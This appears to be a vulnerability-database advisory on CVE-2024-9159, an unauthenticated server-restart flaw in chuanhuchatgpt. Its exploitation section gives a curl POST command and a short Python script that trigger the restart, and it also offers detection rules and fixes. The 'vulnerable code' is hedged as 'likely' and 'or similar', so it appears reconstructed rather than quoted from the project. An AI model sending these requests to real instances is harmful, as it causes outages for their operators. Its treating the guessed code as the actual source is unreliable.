CVE-2024-9159
Executive Summary
CVE-2024-9159 is an incorrect authorization vulnerability in the open-source project gaizhenbiao/chuanhuchatgpt (version git commit c91dbfc). The flaw allows any unauthenticated or low-privileged user to trigger a server restart, leading to a complete denial of service (DoS) by making the application unavailable. The root cause is a missing admin-level authorization check on the server restart function. With a CVSS score of 6.5 (Medium), this vulnerability is trivial to exploit and requires no special privileges or user interaction. No patch is currently available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Python-based open-source project (ChuanhuChatGPT). While no direct supply chain compromise is reported, the lack of a patch and the project's reliance on community contributions means downstream users must manually implement authorization guards. Organizations using this package in production should treat it as a high-risk dependency until a fix is applied.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Complete loss of service.
Threat Level: Medium (6.5). The low complexity and network exploitability make this a significant availability risk for any exposed instance.
Deep Dive & Mechanics
The vulnerability resides in the server restart endpoint of chuanhuchatgpt. The application exposes a function (likely an API route or web handler) that executes a system-level restart command (e.g., os.system("restart") or similar). This function is intended for administrative use only, but the code fails to verify the user's role or authentication status before executing the restart.
Attack Flow:
- An attacker identifies the restart endpoint (e.g.,
/restart,/api/restart, or a hidden route). - The attacker sends a simple HTTP request (GET or POST) to that endpoint.
- The server executes the restart command without any authorization check.
- The application shuts down and restarts, causing a temporary or prolonged denial of service (depending on startup time).
Root Cause: Missing authorization check (CWE-862). The code does not implement any session validation, API key check, or admin role verification before allowing the restart operation.
Vulnerable vs. Patched Code
Vulnerable Code (git c91dbfc):
@app.route('/restart', methods=['POST'])
def restart_server():
os.system("systemctl restart chuanhuchatgpt") # or similar restart command
return "Server restarting..."
No authorization decorator or check is present.
Patched Code (Hypothetical Fix):
@app.route('/restart', methods=['POST'])
@admin_required # hypothetical decorator
def restart_server():
if not current_user.is_admin:
abort(403)
os.system("systemctl restart chuanhuchatgpt")
return "Server restarting..."
The fix requires an admin check before executing the restart.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running
chuanhuchatgptversionc91dbfcor earlier. - Network access to the application's web interface.
Exploit Steps:
- Identify the restart endpoint. Common paths include
/restart,/api/restart, or/admin/restart. - Send a simple HTTP request:
curl -X POST http://target:port/restart - The server will restart, causing a denial of service.
Automated Exploit (Python):
import requests
target = "http://target:port"
endpoint = "/restart"
response = requests.post(target + endpoint)
if response.status_code == 200:
print("Server restart triggered. Availability lost.")
else:
print("Exploit failed.")
Blue Team (Detection & Defense)
Detection:
- Monitor for repeated requests to
/restartor similar endpoints. - Alert on any unauthenticated POST requests to administrative paths.
- Use WAF rules to block access to known restart endpoints.
Defense:
- Immediately implement an authorization check on the restart function.
- Restrict network access to the application (e.g., VPN, firewall).
- Deploy a reverse proxy (e.g., Nginx) to block
/restartpaths unless from trusted IPs.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/restart,/api/restart, or/admin/restart. - Repeated 200 OK responses from these endpoints without prior authentication.
- HTTP POST requests to
- Log IOCs:
- Application logs showing
Server restarting...messages from unknown IPs. - System logs showing unexpected service restarts (e.g.,
systemctl restart chuanhuchatgpt).
- Application logs showing
- File IOCs:
- No specific file changes; the vulnerability is logic-based.
Detection Engineering
YARA Rule
rule CVE_2024_9159_ChuanhuChatGPT_Restart {
meta:
description = "Detects vulnerable code pattern in chuanhuchatgpt allowing unauthorized server restart"
author = "Valters IT"
date = "2025-04-17"
cve = "CVE-2024-9159"
strings:
$restart_func = "def restart_server" nocase
$restart_route = "/restart" nocase
$no_auth = "admin_required" nocase
condition:
$restart_func and $restart_route and not $no_auth
}
Sigma Rule
title: CVE-2024-9159 Unauthorized Server Restart Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to chuanhuchatgpt restart endpoints without authentication
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/restart'
- '/api/restart'
- '/admin/restart'
condition: selection
falsepositives:
- Legitimate admin actions (if authentication is implemented)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-9159 ChuanhuChatGPT Unauthorized Restart Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/restart"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the restart endpoint by commenting out or removing the route in the application code.
- Implement authentication – Add a decorator or middleware to check for admin privileges before allowing the restart.
- Restrict network access – Use a firewall or reverse proxy to block external access to the application.
Long-Term Fix:
- Apply a patch from the vendor (once available) or fork the repository and implement the fix yourself.
- Conduct a security audit of all administrative endpoints in the application.
Workaround:
- If the application is behind a reverse proxy (e.g., Nginx), add a rule to deny access to
/restart:location /restart { deny all; return 403; }
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.